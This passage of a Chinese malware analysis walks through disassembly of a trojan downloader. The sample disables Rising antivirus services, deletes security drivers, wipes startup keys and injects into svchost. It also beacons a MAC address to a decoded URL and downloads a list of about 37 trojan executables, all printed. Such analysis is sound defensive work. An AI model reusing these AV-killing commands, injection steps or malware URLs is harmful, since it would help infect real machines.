10004325    83C9 FF                 or ecx,FFFFFFFF
10004328    8BFA                    mov edi,edx
1000432A    F2:AE                   repne scas byte ptr es:[edi]
1000432C    8BCB                    mov ecx,ebx
1000432E    4F                      dec edi
1000432F    C1E9 02                 shr ecx,2
10004332    F3:A5                   rep movs dword ptr es:[edi],dword ptr ds:[es>
10004334    8BCB                    mov ecx,ebx
10004336    8D9424 14010000         lea edx,dword ptr ss:[esp+114]
1000433D    83E1 03                 and ecx,3
10004340    8B9C24 18020000         mov ebx,dword ptr ss:[esp+218]
10004347    F3:A4                   rep movs byte ptr es:[edi],byte ptr ds:[esi]
10004349      BF  4C060010                mov  edi,killdll.1000064C                                 ;
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
1000434E    83C9 FF                 or ecx,FFFFFFFF
10004351    F2:AE                   repne scas byte ptr es:[edi]
10004353    F7D1                    not ecx
10004355    2BF9                    sub edi,ecx
10004357    8BC1                    mov eax,ecx
10004359    8BF7                    mov esi,edi
1000435B    8BFA                    mov edi,edx
1000435D    8D9424 14010000         lea edx,dword ptr ss:[esp+114]
```

```
10004364    C1E9 02                 shr ecx,2
10004367    F3:A5                   rep movs dword ptr es:[edi],dword ptr ds:[es>
10004369    8BC8                    mov ecx,eax
1000436B    33C0                    xor eax,eax
1000436D    83E1 03                 and ecx,3
10004370    F3:A4                   rep movs byte ptr es:[edi],byte ptr ds:[esi]
10004372    8BFB                    mov edi,ebx
10004374    83C9 FF                 or ecx,FFFFFFFF
10004377    F2:AE                   repne scas byte ptr es:[edi]
10004379    F7D1                    not ecx
1000437B    2BF9                    sub edi,ecx
1000437D    8BF7                    mov esi,edi
1000437F    8BE9                    mov ebp,ecx
10004381    8BFA                    mov edi,edx
10004383    83C9 FF                 or ecx,FFFFFFFF
10004386    F2:AE                   repne scas byte ptr es:[edi]
10004388    8BCD                    mov ecx,ebp
1000438A    4F                      dec edi
1000438B    C1E9 02                 shr ecx,2
1000438E    F3:A5                   rep movs dword ptr es:[edi],dword ptr ds:[es>
10004390    8BCD                    mov ecx,ebp
10004392    8D4424 10               lea eax,dword ptr ss:[esp+10]
10004396    83E1 03                 and ecx,3
10004399    50                      push eax
1000439A    F3:A4                   rep movs byte ptr es:[edi],byte ptr ds:[esi]
1000439C    8D8C24 18010000         lea ecx,dword ptr ss:[esp+118]
100043A3    51                      push ecx
100043A4    68 02000080             push 80000002
100043A9        FF15  18040010              call  dword  ptr  ds:[<&ADVAPI32.RegCreateKeyA>>;
advapi32.RegCreateKeyA
100043AF    85C0                    test eax,eax
100043B1    75 20                   jnz short killdll.100043D3
100043B3    8D7C24 14               lea edi,dword ptr ss:[esp+14]
100043B7    83C9 FF                 or ecx,FFFFFFFF
100043BA    F2:AE                   repne scas byte ptr es:[edi]
100043BC    F7D1                    not ecx
100043BE    8D5424 14               lea edx,dword ptr ss:[esp+14]
100043C2    51                      push ecx
100043C3    52                      push edx
100043C4    6A 01                   push 1
100043C6    50                      push eax
100043C7    8B4424 20               mov eax,dword ptr ss:[esp+20]
100043CB    53                      push ebx
100043CC    50                      push eax
100043CD        FF15  1C040010              call  dword  ptr  ds:[<&ADVAPI32.RegSetValueExA>;
advapi32.RegSetValueExA
100043D3    8B4C24 10               mov ecx,dword ptr ss:[esp+10]
100043D7    51                      push ecx
100043D8    FF15 20040010           call dword ptr ds:[<&ADVAPI32.RegCloseKey>]   ; advapi32.RegCloseKey
100043DE    5F                      pop edi
100043DF    5E                      pop esi
100043E0    5D                      pop ebp
```

```
100043E1    5B                  pop ebx
100043E2    81C4 04020000       add esp,204
100043E8    C3                  retn
}
1000490D    83C4 04             add esp,4
10004910    83C6 04             add esi,4
10004913    4F                  dec edi
10004914  ^ 75 EF               jnz short killdll.10004905    //循环处理
```

5)卸载掉该驱动，然后删除

//卸载

```
10004286    68 20000100         push 10020                                  ; UNICODE
"PROFILE=C:\Documents and Settings\All Users"
1000428B    68 24060010         push killdll.10000624                       ; AsyncMac
10004290    57                  push edi
10004291    FF15 2C040010       call dword ptr ds:[<&ADVAPI32.OpenServiceA>] ; advapi32.OpenServiceA
10004297    8BF0                mov esi,eax
10004299    EB 04               jmp short killdll.1000429F
1000429B    8B7424 2C           mov esi,dword ptr ss:[esp+2C]
1000429F    8B1D 30040010       mov ebx,dword ptr ds:[<&ADVAPI32.CloseServic>;
advapi32.CloseServiceHandle
100042A5    85F6                test esi,esi
100042A7    74 11               je short killdll.100042BA
100042A9    8D4C24 0C           lea ecx,dword ptr ss:[esp+C]
100042AD    51                  push ecx
100042AE    6A 01               push 1
100042B0    56                  push esi
100042B1    FF15 34040010       call dword ptr ds:[<&ADVAPI32.ControlService>; advapi32.ControlService
100042B7    56                  push esi
100042B8    FFD3                call ebx
100042BA    57                  push edi
100042BB    FFD3                call ebx
100042BD    5E                  pop esi
100042BE    5B                  pop ebx
100042BF    5F                  pop edi
100042C0    83C4 1C             add esp,1C
100042C3    C3                  retn
```

//删除

```
10004DFB    83C4 08             add esp,8
10004DFE    8D5424 04           lea edx,dword ptr ss:[esp+4]
10004E02    52                  push edx
10004E03    FF15 60040010       call dword ptr ds:[<&KERNEL32.DeleteFileA>]   ; kernel32.DeleteFileA
```

6)对驱动 ace.sys 进行上面同样的操作

```
10004FA0    E8 BBFDFFFF         call killdll.10004D60
```

7)用批处理处理掉瑞星的相关服务和进程

```
10004FA5    8B35 54040010       mov esi,dword ptr ds:[<&KERNEL32.WinExec>]    ; kernel32.WinExec
10004FAB    6A 00               push 0
10004FAD    68 640D0010         push killdll.10000D64                       ; cmd /c sc config RavTask
start= disabled
```

```
10004FB2      FFD6                    call esi
10004FB4      8B3D 50040010           mov edi,dword ptr ds:[<&KERNEL32.Sleep>]       ; kernel32.Sleep
10004FBA      68 C8000000             push 0C8
10004FBF      FFD7                    call edi                                      ; kernel32.Sleep
10004FC1      6A 00                   push 0
10004FC3      68 380D0010             push killdll.10000D38                         ; cmd /c sc config
RsScanSrv start= disabled
10004FC8      FFD6                    call esi
10004FCA      68 C8000000             push 0C8
10004FCF      FFD7                    call edi
10004FD1      6A 00                   push 0
10004FD3      68 0C0D0010             push killdll.10000D0C                         ; cmd /c sc config RavTray
start= disabled
10004FD8      FFD6                    call esi
10004FDA      68 C8000000             push 0C8
10004FDF      FFD7                    call edi
10004FE1      6A 00                   push 0
10004FE3      68 E00C0010             push killdll.10000CE0                         ; cmd /c sc config RsRavMon
start= disabled
10004FE8      FFD6                    call esi
10004FEA      68 C8000000             push 0C8
10004FEF      FFD7                    call edi
10004FF1      6A 00                   push 0
10004FF3      68 B40C0010             push killdll.10000CB4                         ; cmd /c sc config
RavCCenter start= disabled
10004FF8      FFD6                    call esi
```

8)删除完 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 下面的所有内容，清空启动项

```
10004F20      51                      push ecx
10004F21      68 840C0010             push killdll.10000C84                         ;
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
10004F26      68 02000080             push 80000002
10004F2B      FF15 3C040010           call dword ptr ds:[<&ADVAPI32.RegDeleteKeyA>>; advapi32.RegDeleteKeyA

10004F31      8D4424 00               lea eax,dword ptr ss:[esp]
10004F35      50                      push eax
10004F36      68 840C0010             push killdll.10000C84                         ;
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
10004F3B      68 02000080             push 80000002
10004F40      FF15 18040010           call dword ptr ds:[<&ADVAPI32.RegCreateKeyA>>; advapi32.RegCreateKeyA

10004F46      8B4C24 00               mov ecx,dword ptr ss:[esp]
10004F4A      51                      push ecx
10004F4B      FF15 20040010           call dword ptr ds:[<&ADVAPI32.RegCloseKey>]   ; advapi32.RegCloseKey
10004F51      59                      pop ecx
10004F52      C3                      retn
```

五、若不存在，则只去除上面关于瑞星的操作

下面再分析~Frm.exe 文件的相关操作

一、把病毒文件 updater.exe 设为自启动

```
00401D80   |.  50                  push eax                                 ; /pHandle
00401D81   |.  68 50134000         push ~Frm.00401350                       ; |Subkey =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
00401D86   |.  68 02000080         push 80000002                            ; |hKey =
HKEY_LOCAL_MACHINE
00401D8B   |.  F3:A4               rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
00401D8D   |.  FF15 08104000       call dword ptr ds:[<&ADVAPI32.RegCreateKeyA>>; \RegCreateKeyA
00401D93   |.  85C0                test eax,eax
00401D95   |.  75 45               jnz short ~Frm.00401DDC
00401D97   |.  50                  push eax                                 ; /Style
00401D98   |.  68 98134000         push ~Frm.00401398                       ; |Title = "ccccc"
00401D9D   |.  68 90134000         push ~Frm.00401390                       ; |Text = "ggggg"
00401DA2   |.  6A FA               push -6                                  ; |hOwner = FFFFFFFA
00401DA4   |.  FFD3                call ebx                                 ; \MessageBoxA
00401DA6   |.  8D7C24 68           lea edi,dword ptr ss:[esp+68]
00401DAA   |.  83C9 FF             or ecx,FFFFFFFF
00401DAD   |.  33C0                xor eax,eax
00401DAF   |.  8B5424 10           mov edx,dword ptr ss:[esp+10]
00401DB3   |.  F2:AE               repne scas byte ptr es:[edi]
00401DB5   |.  F7D1                not ecx
00401DB7   |.  51                  push ecx                                 ; /BufSize
00401DB8   |.  8D4C24 6C           lea ecx,dword ptr ss:[esp+6C]            ; |
00401DBC   |.  51                  push ecx                                 ; |Buffer
00401DBD   |.  6A 01               push 1                                   ; |ValueType = REG_SZ
00401DBF   |.  50                  push eax                                 ; |Reserved => 0
00401DC0   |.  68 48134000         push ~Frm.00401348                       ; |ValueName =
"updater"
00401DC5   |.  52                  push edx                                 ; |hKey
00401DC6   |.  FF15 00104000       call dword ptr ds:[<&ADVAPI32.RegSetValueExA>; \RegSetValueExA
00401DCC   |.  6A 00               push 0                                   ; /Style =
MB_OK|MB_APPLMODAL
00401DCE   |.  68 98134000         push ~Frm.00401398                       ; |Title = "ccccc"
00401DD3   |.  68 90134000         push ~Frm.00401390                       ; |Text = "ggggg"
00401DD8   |.  6A FA               push -6                                  ; |hOwner = FFFFFFFA
00401DDA   |.  FFD3                call ebx                                 ; \MessageBoxA
00401DDC   |>  8B4424 10           mov eax,dword ptr ss:[esp+10]
00401DE0   |.  50                  push eax                                 ; /hKey
00401DE1   |.  FF15 04104000       call dword ptr ds:[<&ADVAPI32.RegCloseKey>]   ; \RegCloseKey
00401DE7   |>  68 38134000         push ~Frm.00401338                       ; /AtomName =
"TTXOOBBAACCDD"
```

二、在临时文件夹下生成文件 tmp.tmp

```
00401E72   |.  E8 A9F7FFFF         call ~Frm.00401620
{
00401620   /.  8B4C24 08          mov ecx,dword ptr ss:[esp+8]
00401624   |.  8B4424 0C           mov eax,dword ptr ss:[esp+C]
00401628   |.  53                  push ebx
00401629   |.  56                  push esi
0040162A   |.  57                  push edi
0040162B   |.  81E1 FFFF0000       and ecx,0FFFF
00401631   |.  50                  push eax                                 ; /ResourceType
00401632   |.  51                  push ecx                                 ; |ResourceName
```

```
00401633  |.  6A 00              push 0                                   ; |hModule = NULL
00401635  |.  FF15 3C104000      call dword ptr ds:[<&KERNEL32.FindResourceA>>; \FindResourceA
0040163B  |.  8BF0               mov esi,eax
0040163D  |.  85F6               test esi,esi
0040163F  |.  74 60              je short ~Frm.004016A1
00401641  |.  56                 push esi                                 ; /hResource
00401642  |.  6A 00              push 0                                   ; |hModule = NULL
00401644  |.  FF15 78104000      call dword ptr ds:[<&KERNEL32.SizeofResource>; \SizeofResource
0040164A  |.  8BD8               mov ebx,eax
0040164C  |.  85DB               test ebx,ebx
0040164E  |.  74 51              je short ~Frm.004016A1
00401650  |.  56                 push esi                                 ; /hResource
00401651  |.  6A 00              push 0                                   ; |hModule = NULL
00401653  |.  FF15 7C104000      call dword ptr ds:[<&KERNEL32.LoadResource>] ; \LoadResource
00401659  |.  8BF8               mov edi,eax
0040165B  |.  85FF               test edi,edi
0040165D  |.  74 42              je short ~Frm.004016A1
0040165F  |.  8B5424 10          mov edx,dword ptr ss:[esp+10]
00401663  |.  6A 00              push 0                                   ; /hTemplateFile = NULL
00401665  |.  6A 00              push 0                                   ; |Attributes = 0
00401667  |.  6A 02              push 2                                   ; |Mode = Create_ALWAYS
00401669  |.  6A 00              push 0                                   ; |pSecurity = NULL
0040166B  |.  6A 00              push 0                                   ; |ShareMode = 0
0040166D  |.  68 00000040        push 40000000                            ; |Access =
GENERIC_WRITE
00401672  |.  52                 push edx                                 ; |FileName
00401673  |.  FF15 80104000      call dword ptr ds:[<&KERNEL32.CreateFileA>]  ; \CreateFileA
00401679  |.  8BF0               mov esi,eax
0040167B  |.  85F6               test esi,esi
0040167D  |.  75 04              jnz short ~Frm.00401683
0040167F  |.  5F                 pop edi
00401680  |.  5E                 pop esi
00401681  |.  5B                 pop ebx
00401682  |.  C3                 retn
00401683  |>  8D4424 18          lea eax,dword ptr ss:[esp+18]
00401687  |.  6A 00              push 0                                   ; /pOverlapped = NULL
00401689  |.  50                 push eax                                 ; |pBytesWritten
0040168A  |.  53                 push ebx                                 ; |nBytesToWrite
0040168B  |.  57                 push edi                                 ; |/nHandles
0040168C  |.  FF15 84104000      call dword ptr ds:[<&KERNEL32.LockResource>] ; |\SetHandleCount
00401692  |.  50                 push eax                                 ; |Buffer
00401693  |.  56                 push esi                                 ; |hFile
00401694  |.  FF15 88104000      call dword ptr ds:[<&KERNEL32.WriteFile>]     ; \WriteFile
0040169A  |.  56                 push esi                                 ; /hObject
0040169B  |.  FF15 90104000      call dword ptr ds:[<&KERNEL32.CloseHandle>]  ; \CloseHandle
004016A1  |>  5F                 pop edi
004016A2  |.  5E                 pop esi
004016A3  |.  83C8 FF            or eax,FFFFFFFF
004016A6  |.  5B                 pop ebx
004016A7  \.  C3                 retn

}
```

三、用 CreateFileMappingA 函数来创建互斥体

```
00401E7A   |.   68 18134000          push ~Frm.00401318                       ; /MapName =
"GameTexeTT.."
00401E7F   |.   68 04010000          push 104                                 ; |MaximumSizeLow = 104

00401E84   |.   6A 00                push 0                                   ; |MaximumSizeHigh = 0
00401E86   |.   6A 04                push 4                                   ; |Protection =
PAGE_READWRITE
00401E88   |.   6A 00                push 0                                   ; |pSecurity = NULL
00401E8A   |.   6A FF                push -1                                  ; |hFile = FFFFFFFF
00401E8C   |.   FF15 4C104000        call dword ptr ds:[<&KERNEL32.CreateFileMapp>; \CreateFileMappingA
00401E92   |.   6A 00                push 0                                   ; /MapSize = 0
00401E94   |.   6A 00                push 0                                   ; |OffsetLow = 0
00401E96   |.   6A 00                push 0                                   ; |OffsetHigh = 0
00401E98   |.   68 1F000F00          push 0F001F                              ; |AccessMode = F001F
00401E9D   |.   50                   push eax                                 ; |hMapObject
00401E9E   |.   FF15 48104000        call dword ptr ds:[<&KERNEL32.MapViewOfFile>>; \MapViewOfFile
```

四、把 tmp.tmp 注入到进程 svchost.exe 中来执行

```
00401F13   |.   BF 08134000          mov edi,~Frm.00401308                    ;   ASCII "\svchost.exe"
00401F18   |.   83C9 FF              or ecx,FFFFFFFF
00401F1B   |.   33C0                 xor eax,eax
00401F1D   |.   8D9424 6C020000      lea edx,dword ptr ss:[esp+26C]
00401F24   |.   F2:AE                repne scas byte ptr es:[edi]
00401F26   |.   F7D1                 not ecx
00401F28   |.   2BF9                 sub edi,ecx
00401F2A   |.   8BF7                 mov esi,edi
00401F2C   |.   8BE9                 mov ebp,ecx
00401F2E   |.   8BFA                 mov edi,edx
00401F30   |.   83C9 FF              or ecx,FFFFFFFF
00401F33   |.   F2:AE                repne scas byte ptr es:[edi]
00401F35   |.   8BCD                 mov ecx,ebp
00401F37   |.   4F                   dec edi
00401F38   |.   C1E9 02              shr ecx,2
00401F3B   |.   F3:A5                rep movs dword ptr es:[edi],dword ptr ds:[es>
00401F3D   |.   8BCD                 mov ecx,ebp
00401F3F   |.   8D4424 14            lea eax,dword ptr ss:[esp+14]
00401F43   |.   83E1 03              and ecx,3
00401F46   |.   50                   push eax                                 ; /pProcessInfo
00401F47   |.   F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
00401F49   |.   8D4C24 28            lea ecx,dword ptr ss:[esp+28]            ; |
00401F4D   |.   8D9424 70020000      lea edx,dword ptr ss:[esp+270]           ; |
00401F54   |.   51                   push ecx                                 ; |pStartupInfo
00401F55   |.   6A 00                push 0                                   ; |CurrentDir = NULL
00401F57   |.   6A 00                push 0                                   ; |pEnvironment = NULL
00401F59   |.   6A 04                push 4                                   ; |CreationFlags =
Create_SUSPENDED
00401F5B   |.   6A 00                push 0                                   ; |InheritHandles = FALSE
00401F5D   |.   6A 00                push 0                                   ; |pThreadSecurity = NULL

00401F5F   |.   6A 00                push 0                                   ; |pProcessSecurity = NULL
```

```
00401F61   |.  68 F0284000          push ~Frm.004028F0                       ; |CommandLine = ""
00401F66   |.  52                   push edx                                 ; |ModuleFileName
00401F67   |.  FF15 40104000        call dword ptr ds:[<&KERNEL32.CreateProcessA>; \CreateProcessA
```

tmp.tmp 就是用来下载木马的，一会再分析。

五、解密收信地址

```
00401BA1   |.  BE 88114000          mov  esi,~Frm.00401188                   ;  ASCII "kwws9,,`lvmw-hfz62;;-`ln,g2,dfw-bps"
```

解密算法和上述基本相同，只是把异或的值2改成了3

```
00401B0F   |.  B8 03000000          mov eax,3
00401B14   |.  8B4D 0C              mov ecx,dword ptr ss:[ebp+C]
00401B17   |>  3106                 /xor dword ptr ds:[esi],eax
00401B19   |.  46                   |inc esi
00401B1A   |.^ E2 FB                \loopd short ~Frm.00401B17
```

解密后，收信地址为：http://count.key5188.com/d1/get.asp

六、把相关信息发送到下面地址：

http://count.key5188.com/d1/get.asp??mac=00c029ae66df&ver=1.00

最后看下 tmp.tmp
虽然后缀名为.tmp,但用记事本或16进制工具打开就可知道是个 PE 文件，改后缀为.dll，然后用 OD 即可载入
该文件加了 Upack 0.3.9 beta2s -> Dwing 的壳，用 ESP 定律即可

```
100013D0    55                 push ebp     //OEP
100013D1    8BEC               mov ebp,esp
100013D3    8B45 0C            mov eax,dword ptr ss:[ebp+C]
100013D6    53                 push ebx
100013D7    56                 push esi
100013D8    83F8 01            cmp eax,1
100013DB    57                 push edi
100013DC    75 2F              jnz short tmp.1000140D
100013DE    60                 pushad
100013DF    90                 nop
100013E0    F5                 cmc
```

行为：

一，创建线程，进行相关动作

```
100013E5   ?  6A 00            push 0
100013E7   .  6A 00            push 0                                   ; |CreationFlags = 0
100013E9   .  6A 00            push 0                                   ; |pThreadParm = NULL
100013EB   .  68 50140010      push tmp.10001450                        ; |ThreadFunction = tmp.10001450
100013F0   .  6A 00            push 0                                   ; |StackSize = 0
100013F2   .  6A 00            push 0                                   ; |pSecurity = NULL
100013F4   .  FF15 00200010    call dword ptr ds:[10002000]             ; \CreateThread
```

其中 ThreadFunction = tmp.10001450

二、下载

下载地址加密后为：l4`M{lPjy@Z1nUjIIimNOP10iD{GLh35LqngrfZ3i@Rhwt3l

解密函数同上

解密后的下载地址为堆栈地址为 http://g.sog369.com/fz.txt，为1个下载列表

下载该列表到临时文件夹下，改名为 pctools.tmp

```
10001691   |> /8D95 C8FDFFFF        /lea edx,dword ptr ss:[ebp-238]
10001697   |. |52                   |push edx                                  ; /Buffer
10001698   |. |68 04010000          |push 104                                  ; |BufSize = 104 (260.)
1000169D   |. |FF15 1C200010        |call dword ptr ds:[1000201C]              ; \GetTempPathA
100016A3   |. |B9 41000000          |mov ecx,41
100016A8   |. |33C0                 |xor eax,eax
100016AA   |. |8DBD CCFEFFFF        |lea edi,dword ptr ss:[ebp-134]
100016B0   |. |8D95 CCFEFFFF        |lea edx,dword ptr ss:[ebp-134]
100016B6   |. |F3:AB                |rep stos dword ptr es:[edi]
100016B8   |. |8DBD C8FDFFFF        |lea edi,dword ptr ss:[ebp-238]
100016BE   |. |83C9 FF              |or ecx,FFFFFFFF
100016C1   |. |F2:AE                |repne scas byte ptr es:[edi]
100016C3   |. |F7D1                 |not ecx
100016C5   |. |2BF9                 |sub edi,ecx
100016C7   |. |8BC1                 |mov eax,ecx
100016C9   |. |8BF7                 |mov esi,edi
100016CB   |. |8BFA                 |mov edi,edx
100016CD   |. |8D95 C8FDFFFF        |lea edx,dword ptr ss:[ebp-238]
100016D3   |. |C1E9 02              |shr ecx,2
100016D6   |. |F3:A5                |rep movs dword ptr es:[edi],dword ptr ds:[e>
100016D8   |. |8BC8                 |mov ecx,eax
100016DA   |. |33C0                 |xor eax,eax
100016DC   |. |83E1 03              |and ecx,3
100016DF   |. |F3:A4                |rep movs byte ptr es:[edi],byte ptr ds:[esi>
100016E1   |. |BF 68300010          |mov edi,tmp.10003068                      ;  ASCII "pctools.tmp"
100016E6   |. |83C9 FF              |or ecx,FFFFFFFF
100016E9   |. |F2:AE                |repne scas byte ptr es:[edi]
100016EB   |. |F7D1                 |not ecx
100016ED   |. |2BF9                 |sub edi,ecx
100016EF   |. |8BF7                 |mov esi,edi
100016F1   |. |8BD9                 |mov ebx,ecx
100016F3   |. |8BFA                 |mov edi,edx
100016F5   |. |83C9 FF              |or ecx,FFFFFFFF
100016F8   |. |F2:AE                |repne scas byte ptr es:[edi]
100016FA   |. |8BCB                 |mov ecx,ebx
100016FC   |. |4F                   |dec edi
100016FD   |. |C1E9 02              |shr ecx,2
10001700   |. |F3:A5                |rep movs dword ptr es:[edi],dword ptr ds:[e>
10001702   |. |8BCB                 |mov ecx,ebx
10001704   |. |83E1 03              |and ecx,3
10001707   |. |F3:A4                |rep movs byte ptr es:[edi],byte ptr ds:[esi>
10001709   |> |6A 00                |/push 0
1000170B   |. |8D85 C8FDFFFF        ||lea eax,dword ptr ss:[ebp-238]
10001711   |. |6A 00                ||push 0
10001713   |. |8D8D C4F8FFFF        ||lea ecx,dword ptr ss:[ebp-73C]
```

```
10001719   |. |50                  ||push eax
1000171A   |. |51                  ||push ecx
1000171B   |. |6A 00               ||push 0
1000171D     |. |FF15 C0300010          ||call dword ptr ds:[100030C0]                    ;
urlmon.URLDownloadToFileA
10001723   |. |85C0                ||test eax,eax
10001725   |.^|75 E2               |\jnz short tmp.10001709
```

下载列表为：

http://u8.dtw360.com/sb/ko.exe
http://u1.dtw360.com/la/fm.exe
http://u2.dtw360.com/gb/B1.exe
http://u1.dtw360.com/la/L1.exe
http://u1.dtw360.com/la/L3.exe
http://u1.dtw360.com/la/L4.exe
http://u2.dtw360.com/gz/G3.exe
http://u2.dtw360.com/gz/G10.exe
http://u2.dtw360.com/gz/G1.exe
http://u2.dtw360.com/gz/G15.exe
http://u2.dtw360.com/gz/G4.exe
http://u2.dtw360.com/gz/G31.exe
http://u2.dtw360.com/gz/G32.exe
http://u2.dtw360.com/gz/G14.exe
http://u2.dtw360.com/gz/G9.exe
http://u1.dtw360.com/la/L17.exe
http://u1.dtw360.com/la/L6.exe
http://u1.dtw360.com/la/L9.exe
http://u1.dtw360.com/la/L8.exe
http://u3.dtw360.com/lm/S20.exe
http://u3.dtw360.com/lm/S8.exe
http://u3.dtw360.com/lm/S10.exe
http://u3.dtw360.com/lm/S1.exe
http://u3.dtw360.com/lm/S15.exe
http://u3.dtw360.com/lm/S2.exe
http://u3.dtw360.com/lm/S3.exe
http://u3.dtw360.com/lm/S5.exe
http://u3.dtw360.com/lm/S19.exe
http://u3.dtw360.com/lm/S14.exe
http://u3.dtw360.com/lm/S13.exe
http://u9.dtw360.com/cj/a6.exe
http://u9.dtw360.com/cj/a2.exe
http://u9.dtw360.com/cj/a8.exe
http://u9.dtw360.com/cj/a1.exe
http://u9.dtw360.com/cj/a10.exe
http://u9.dtw360.com/cj/a9.exe
http://u8.dtw360.com/sb/sb.exe

最后就是下载该列表里的木马，然后运行了